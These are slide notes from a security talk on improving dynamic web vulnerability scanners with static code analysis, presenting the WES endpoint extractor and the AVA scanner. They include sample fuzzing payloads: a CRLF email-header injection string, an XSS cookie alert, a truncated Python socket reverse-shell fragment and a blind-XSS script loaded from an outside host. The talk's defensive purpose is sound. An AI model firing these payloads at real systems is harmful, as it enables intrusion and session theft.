Improving dynamic vulnerability scannerswith static code analysis
Caleb Coffie @C_Coffie
About me
Information Security Engineer atRochester Institute of Technology Alumnus - Class of 2016
SocialTwitter: @C_CoffieGithub: CCoffieWebsite: CalebCoffie.com
What is this talk about?
● A little background about traditional scanners○ Static code analysis○ Dynamic analysis
● WES● AVA● WESAVA● How have these tools helped us?
First a little background:Traditional static code analysis
Traditional static code analysis
1Build an abstract syntax treeWe process the plain text source code into a tree like structure we can programmatically traverse.
2 Navigate through the treeThis could be using a filter() or a walk()
3Identify problems based on predefined signaturesLook for things such as Runtime.exec(<user input?>); and flag as a potential issue.
Step 1Build an abstract syntax tree / parse tree
Step 2Navigate through the tree
Utilitieswalk()
filter() Class declaration
Method declaration
Qualifierruntime
Imports
AnnotationRequestMapping
Method invocationexec
Literal“Find”, “ ”, param.file
TreeTree
Package declaration
Step 3Identify risky code based on predefined signatures
1. Routes & request mappings2. User input in web context
a. JSP: ${param.userSuppliedParameter}3. Risky functions
a. Runtime.exec(user input?);b. System.load(user input?);
https://vulncat.hpefod.com/enhttps://find-sec-bugs.github.io/bugs.htm
Pros
Existing solutions
Few true negatives if your rule sets are complete
Cons
Many false positives
Requires review by an application security engineer
Time consuming
Requires development and security knowledge
Must understand the code base to analyze it
Traditional static code analysis
Traditional dynamic analysisfor web applications
Traditional dynamic analysis
1Endpoint collection / crawlingFind all paths on a web app with a crawler or even with tools such as DirBuster
2Parameter identificationNormally this is limited to parameters that are passed with normal usage of the application with a proxy
3 FuzzingTake all of those endpoints and parameters, then start injecting payloads
Endpoint collection / crawling
● Find entry points● Historically this is gathered
from crawling or a proxy● Efficacy limited by
completeness of collection
- :method: :get :action: https://www.indeed.com/jobtrends :inputs: q: [param] l: [param]
- :method: :post :action: https://crowd.indeed.com/registration :inputs: linkedin_url: [param] location: [param] is_professional: [param] industries: [param] email: [param] experience: [param] last_name: [param] first_name: [param]
Fuzzing
● Long input○ 1gb string in param cause OOM
● Invalid data○ Binary in salary trend field causing DOS
● Control characters○ Control contents of email with CRLF injection on subject:
Indeed%0aSubject:%20Phishing%20mail%0aContent-Type:text/html%0aTo:calebc%40indeed.com%0a%0d%0a%0d<h1>Hello</h1><!--
○ Control cookies and body of page with header injection
Fuzzing
The usual suspects:
● Reflected cross site scripting○ HTML context
<script>alert(document.cookie)</script>○ JavaScript context
alert(document.cookie)
● Open redirects○ Redirection to evil phishing site collecting creds
● Blind XSS callbacks● Blind XXE callbacks● Blind RCE callbacks● SSRF callbacks● Open redirect collector
UUID Type Context
111112 RCE host, user
111113 XSS endpoint, line, tag
UUID Endpoint Param Payload
111112 https://ads.indeed.com/co.. message import socket,os;s=socket.socket(...
111113 https://ads.indeed.com/co.. message <script src=”//a0.com/a.js?uuid=111..
Fuzz payload tracker
Callback listener
Fuzzing - next generation
Pros
Few false positives
Fast
Easy to demonstrate exploitability
Easy to repeat
Cons
Many false negatives
Requires running instance
Often have to scan production if no QA instance is running
Can be destructive
Traditional dynamic analysis
WES(Wintermute Endpoint Search)
Enriching dynamic analysis with static analysis
How to pull endpoints out of codeEndpoint: /SMVC001 Method: GET
Template: /WEB-INF/jsp/controllers/smvc001.jsp
package com.indeed.security.wes.west.controllers;
import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestMethod;
@Controllerpublic class SMVC001 {
@RequestMapping(value = "/SMVC001", method = RequestMethod.GET) public String get() { return "/WEB-INF/jsp/controllers/smvc001.jsp"; }}
WES static analysis
1 Identify what frameworks the project usesOnly process projects for frameworks they’re using
2 Pre-process the projectCreate reference tables for later use in processing the project
3 Identify endpoints and extract parametersPull the required sections out of the code
SpringLook for a
DispatcherServlet Declaration
DjangoLook for Python files that import from the Django
library
Public JSPsLook for *.jsp files not under the WEB-INF
directory
Java servletsLook for a web.xml file
Identify what frameworks the project uses
Why do we need to pre-process a project?
package com.indeed.security.wes.west.controllers;
import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestMethod;
@Controllerpublic class SMVC001 { private final String SMVC001_PATH = "/SMVC001"; private final String SMVC001_VIEW = "myView.jsp"
@RequestMapping(value = SMVC001_PATH, method = RequestMethod.GET) public String get() { return SMVC001_VIEW; }}
Compilation units
Process all the source code files into ASTs
Class lookup table
Allows for verifying if the referenced class is part of the current project
Method invocation
tableRecord of all method
invocations
Variable lookup tableAllows for resolution of
variables across a project
What do we create with pre-processing?
Processing a Spring project
@RequestMappingDenotes an endpoint in Spring when paired with a controller
@RequestParamPulls a parameter value out of the parameter query string
Referenced JSPsViews that can directly pull parameters out of a request
Parameters in JSP${param.paramName} commonly unescaped causing XSS
What are we looking for?
Code → AST
package com.indeed.security.wes.west.controllers;
import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestMethod;
@Controllerpublic class SMVC001 {
@RequestMapping(value = "/SMVC001", method = RequestMethod.GET) public String get() { return "/WEB-INF/jsp/controllers/smvc001.jsp"; }}
Code → AST
Tree
Package Declaration
Class Declaration
Method Declaration
Return Statement
Literal“/WEB-INF/jsp/controllers/smvc001.jsp”
MethodRequestMethod.GET
Value“/SMVC001”
Imports
AnnotationRequestMapping
How WES traverses the AST
1.
Tree
Package Declaration
Class Declaration
Method Declaration
Return Statement
Literal“/WEB-INF/jsp/controllers/smvc001.jsp”
MethodRequestMethod.GET
Value“/SMVC001”
Imports
AnnotationRequestMapping
How WES traverses the AST
1.
2.
Tree
Package Declaration
Class Declaration
Method Declaration
Return Statement
Literal“/WEB-INF/jsp/controllers/smvc001.jsp”
MethodRequestMethod.GET
Value“/SMVC001”
Imports
AnnotationRequestMapping
How WES traverses the AST
1.
2. 3.
Tree
Package Declaration
Class Declaration
Method Declaration
Return Statement
Literal“/WEB-INF/jsp/controllers/smvc001.jsp”
MethodRequestMethod.GET
Value“/SMVC001”
Imports
AnnotationRequestMapping
How WES traverses the AST
1.
2. 3.
4.
Tree
Package Declaration
Class Declaration
Method Declaration
Return Statement
Literal“/WEB-INF/jsp/controllers/smvc001.jsp”
MethodRequestMethod.GET
Value“/SMVC001”
Imports
AnnotationRequestMapping
WES endpoint extraction{"endpoints": [ { "createdDate": "Tue, 13 Jun 2017 17:02:36 GMT", "filepath": "java/src/main/java/com/indeed/security/wes/west/controllers/SMVC006.java", "gitRepo": "https://github.com/indeedsecurity/west.git", "headers": [], "lineNumber": 56, "method": null, "params": [], "plugin": "spring", "product": "west", "productGroup": "security", "templates": ["java/src/main/webapp/WEB-INF/jsp/controllers/smvc006.jsp"], "url": "https://west.example.com/SMVC006/04" }, ...]}
Future featuresWhat can be improved?
● Extend Django support● Add additional framework support● Build out recursive method invocation resolution● Improve web UI● Introduce cross project reference resolution
Pros
Finds endpoints and parameters that may never be exposed to end users
More complete mapping of an application
Cons
Complicated to parse source code
Difficult to analyze external libraries
No context as to what should be in a parameter’s value
There are countless ways that a developer will try to break your parsing
WES
Open Sourced https://github.com/indeedsecurity/wes
AVAAnother Vulnerability Auditor
AVA vectors format{ "endpoints": [ { "url": "https://west.example.com/test", "method": "GET", "params": [ { "name": "loc", "value": "Austin, TX" } ], "headers": [] }, ... ]}
Main component types within AVA
Auditors Checks
Audits single type of field
Retrieves payloads from checks
Handles request and response
Records issues
Static payloads
Generates dynamic payloads
Checks response to see if payload was successful
AuditorsHTTP aware
● Auditors are based on what they’re auditing○ Cookies○ Parameters○ Headers○ URLs
● Allows them to be aware of the specific context they’re auditing○ Process key-value pair in cookie value○ XXE find injectable location within XML document
ChecksVulnerability aware
● Types○ Differential check○ Time-based check○ Simple check○ Blind payload check
● Payloads
○ Simple static payloads○ Dynamic payloads built based on context provided by
auditor
ModularityHow can we use this with our existing systems?
● Standard CLI utility● Importable Python module● JSON report● ZAP integration plugin● Easy to add payloads since they are loaded dynamically
Pros
Works with many different systems
Easy to extend and add payloads
Small code base
Written in Python
Cons
Not as fully featured as other scanners
Doesn’t load JavaScript
Only as good as vectors passed in
AVA
WESAVASelf service tool allowing developers to scan code before deployment
WESAVA process
1 ConfigureConfigures and starts the WES scan of the project’s source code
2 EndpointsLists the endpoints found within the project and allows for modification
3ScanConfigure and launch an AVA scan of the endpoints configured in the previous step
4 ResultsShows the results from the AVA scan
Why combine the tools?
● Make it easier for people outside our security team to use the tools we developed
● Everyone likes web interfaces!● Easily prune the results from WES● Simplifies many of the command line options into easy to use
interfaces
Live demo
How have these new tools helped us?
Enriched each system with results from other systems
SonarQubeFind vulnerable segments of code and determine what payloads would work
BugCrowdFind new innovative exploitation techniques
AVAQuickly scan new custom
vulnerabilities
ArachniUse multiple scanners to find
the best of both solutions
1 vulnerability reported to BugCrowdled to 19 additional findings
Vulnerabilities Found
Thanks!Questions?
Caleb Coffie
Twitter: @C_CoffieGithub: CCoffie
Website: CalebCoffie.comEmail: [email protected] (work)
Email: [email protected] (personal)